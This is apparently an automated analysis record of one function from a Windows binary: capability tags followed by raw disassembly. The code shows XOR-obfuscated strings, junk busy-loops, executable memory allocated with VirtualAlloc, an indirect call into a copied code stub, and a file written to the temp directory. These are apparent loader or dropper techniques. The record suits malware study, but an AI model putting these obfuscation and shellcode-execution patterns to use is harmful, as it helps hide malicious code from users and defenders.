Function at 0x1401f6c20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1860]
mov eax, 0x1960
call fcn.14025cd40
sub rsp, rax
movaps xmmword [rsp + 0x1950], xmm6
movaps xmmword [rsp + 0x1940], xmm7
movaps xmmword [rsp + 0x1930], xmm8
movaps xmmword [rsp + 0x1920], xmm9
movaps xmmword [rsp + 0x1910], xmm10
movaps xmmword [rsp + 0x1900], xmm11
movaps xmmword [rsp + 0x18f0], xmm12
mov rax, qword [0x14027e040]
xor rax, rsp
mov qword [rbp + 0x17e0], rax
mov r12, rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x48], edi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r15d, 1
mov ecx, r15d
nop
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f6cd0
mov dword [rbp + 0x240], 0x270
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6c
ja 0x1401f6d3c
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xf3e59
cmp eax, 0x3ff6d
jb 0x1401f6d20
shr rax, 0x20
lea r14d, [rax - 0x7ffffc19]
btc r14d, 0x1f
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f6d70
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], edi
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
mov rsi, qword [rsp + 0x38]
add rsi, 0x5f5e100
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
cmp qword [rax], rsi
jge 0x1401f6f36
mov edi, 0x186a0
nop
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f6e0a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f6df0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r15d
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f6e5a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f6e40
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f6eaa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f6e90
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f6efa
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f6ee0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r15
jne 0x1401f6dd0
jmp 0x1401f6db6
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0xe8
lea rcx, [rbp + 0x40]
call fcn.14025cb24
lea rsi, [0x140000000]
lea rax, [rsi + 0x26b8b0]
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
nop
mov dword [rsp + 0x48], 4
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::constructor_class_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], r8d
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + 0x48], rax
xor edi, edi
mov qword [rbp + 0xb0], rdi
mov dword [rbp + 0xb8], 4
mov edx, r14d
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
mov rcx, rax
movsd xmm0, qword [0x14026c318]
movsd qword [rsp + 0x38], xmm0
movzx eax, word [0x14026c320]
mov edx, 0x2e
mov word [rsp + 0x38], dx
xor word [rsp + 0x3a], 0x40
xor word [rsp + 0x3c], 0x42
xor word [rsp + 0x3e], 0x44
xor ax, 0x46
mov word [rsp + 0x40], ax
lea rdx, [rsp + 0x38]
call fcn.140237e70
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov r14d, 7
mov qword [rbp + 0x38], r14
mov word [rbp + 0x20], di
mov dword [rsp + 0x48], 0x14
mov ecx, dword [rbp + 0xb8]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x1401f7086
mov rax, qword [rbp + 0x88]
mov rdx, qword [rax]
test rdx, rdx
je 0x1401f7086
mov rax, qword [rbp + 0x68]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0xb0]
cmovb rdx, qword [rbp + 0xb0]
sub rdx, r9
jmp 0x1401f70b4
test cl, 4
jne 0x1401f70e5
mov rax, qword [rbp + 0x80]
mov rcx, qword [rax]
test rcx, rcx
je 0x1401f70e5
mov rax, qword [rbp + 0x60]
mov r9, qword [rax]
mov rax, qword [rbp + 0x98]
movsxd rdx, dword [rax]
add rdx, rdx
sub rdx, r9
add rdx, rcx
sar rdx, 1
test r9, r9
je 0x1401f70e5
lea rcx, [rbp + 0x20]
cmp rdx, r14
ja 0x1401f70df
mov qword [rbp + 0x30], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov word [rbp + rbx + 0x20], di
jmp 0x1401f70e5
call fcn.140239840
nop
mov edi, 0xc
mov dword [rsp + 0x30], 0x104
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x1888]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], 0
xor ecx, ecx
lea r8, [0x140238580]
mov rax, qword [0x1402840b0]
test rax, rax
je 0x1401f7169
xor edx, edx
nop word [rax + rax]
cmp rax, r8
je 0x1401f7158
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x2840b0]
test rax, rax
jne 0x1401f7140
jmp 0x1401f7169
mov r9, qword [rsi + rdx*8 + 0x284d70]
test r9, r9
jne 0x1401f724f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
lea r8, [0x140238580]
test rax, rax
je 0x1401f722e
mov rax, r8
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f71a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284718]
mov qword [rsi + rax*8 + 0x2840b0], r8
mov qword [rsi + rax*8 + 0x284d70], r9
inc rax
mov qword [0x140284718], rax
lea r8, [rbp + 0x15d0]
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x1888]
mov qword [rax], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x15d0]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f72a1
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp - 0x20]
call fcn.140239ca0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x20]
call fcn.1402366e0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], r14
mov word [rax], bx
or edi, 2
mov dword [rsp + 0x48], edi
lea rcx, [rbp - 0x20]
call fcn.140236670
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov rcx, r15
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f7320
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
mov r15, qword [rsp + 0x38]
add r15, 0x5f5e100
mov r13d, 1
nop dword [rax]
lea rcx, [rsp + 0x38]
call fcn.1401f17b0
cmp qword [rax], r15
jge 0x1401f74f6
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f73ca
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f73b0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r13d
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f741a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7400
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f746a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7450
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f74ba
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f74a0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r13
jne 0x1401f7390
jmp 0x1401f7370
mov eax, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x130]
call fcn.14025cb24
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rcx, [rbp + 0x130]
call fcn.140236160
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], 0
mov r13, qword [rsp + 0x50]
xorps xmm0, xmm0
je 0x1401f81f0
movups xmmword [rbp - 0x20], xmm0
xor r15d, r15d
mov ecx, r15d
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], r14
mov word [rbp - 0x20], r15w
mov rdx, r12
cmp qword [r12 + 0x18], 7
jbe 0x1401f759b
mov rdx, qword [r12]
mov r8, rdx
jmp 0x1401f759e
mov r8, r12
mov rbx, rdx
mov rax, qword [r12 + 0x10]
lea rdi, [r8 + rax*2]
cmp rdx, rdi
je 0x1401f765f
mov r12d, 0x22
nop dword [rax]
movzx r9d, word [rbx]
cmp r9w, r12w
je 0x1401f75fc
cmp rcx, r14
jae 0x1401f75f1
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r14, 7
cmova rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x1401f7649
lea rcx, [rbp - 0x20]
call fcn.1402396b0
jmp 0x1401f7649
mov eax, dword [0x14026ca50]
mov dword [rsp + 0x30], eax
movzx eax, word [0x14026ca54]
mov word [rsp + 0x30], r12w
xor word [rsp + 0x32], 0x40
xor ax, 0x42
mov word [rsp + 0x34], ax
lea rax, [rsp + 0x30]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1401f7630
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.140234be0
add rbx, 2
cmp rbx, rdi
je 0x1401f765f
mov r14, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
jmp 0x1401f75c0
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rbp + 0x15c4], 0xffffffff
mov dword [rbp + 0x244], eax
mov r14d, 1
mov ecx, r14d
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rbp + rcx*4 + 0x244], edx
inc rcx
cmp rcx, 0x270
jb 0x1401f7680
mov dword [rbp + 0x240], 0x270
mov dword [rsp + 0x30], r15d
lea rcx, [rsp + 0x50]
call fcn.1401f17b0
mov rsi, qword [rsp + 0x50]
add rsi, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x50]
call fcn.1401f17b0
cmp qword [rax], rsi
jge 0x1401f7856
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1401f772a
nop word [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1401f7710
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r14d
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f777a
nop dword [rax + rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7760
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f77ca
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f77b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1401f781a
nop dword [rax]
lea rcx, [rbp + 0x240]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1401f7800
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cdq
idiv ebx
mov dword [rsp + 0x30], edx
sub rdi, r14
jne 0x1401f76f0
jmp 0x1401f76d0
mov eax, dword [rsp + 0x30]
movups xmm0, xmmword [str.m_6d]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [str.5_8vez]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x14026cdc0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x14026cdd0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [str._f]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [0x14026cdf0]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x14026cdf8]
mov dword [rbp - 0x48], eax
mov r9d, r15d
mov edi, 0xff8a
mov ebx, dword [0x14027e090]
cmp ebx, 2
jl 0x1401f7a87
movdqa xmm8, xmmword [0x14026e190]
movdqa xmm6, xmmword [0x14026e2d0]
movdqa xmm7, xmmword [0x14026e2f0]
movdqa xmm9, xmmword [str.kkkkmmmm]
movdqa xmm10, xmmword [0x14026e300]
movdqa xmm11, xmmword [str.________]
lea rcx, [rsp + 0x60]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x1401f7900
cmp r9d, 0x2e
jge 0x1401f7af0
movsxd rax, r9d
lea r10, [rsp + 0x60]
lea r10, [r10 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x1f]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x1401f7aa0
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x130]
call fcn.140237e70
movups xmm11, xmmword [0x14026b148]
movups xmmword [rbp - 0x40], xmm11
movq xmm12, qword [0x14026b158]
movq qword [rbp - 0x30], xmm12
mov eax, dword [0x14026b160]
mov dword [rbp - 0x28], eax
movzx eax, word [0x14026b164]
mov word [rbp - 0x24], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f7d7e
movdqa xmm6, xmmword [0x14026e2d0]
movdqa xmm7, xmmword [0x14026e2f0]
movdqa xmm9, xmmword [str.kkkkmmmm]
movdqa xmm8, xmmword [0x14026e300]
movdqa xmm10, xmmword [str.________]
movdqa xmm5, xmmword [0x14026e190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x14026e1b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x14026e1d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x1f]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xf
jl 0x1401f7d90
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x130]
call fcn.140237e70
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rdx, qword [rbp - 0x20]
mov r8, qword [rbp - 0x10]
mov rcx, rax
call fcn.14023eb80
mov r11, rax
movups xmm11, xmmword [0x14026be70]
movups xmmword [rbp - 0x40], xmm11
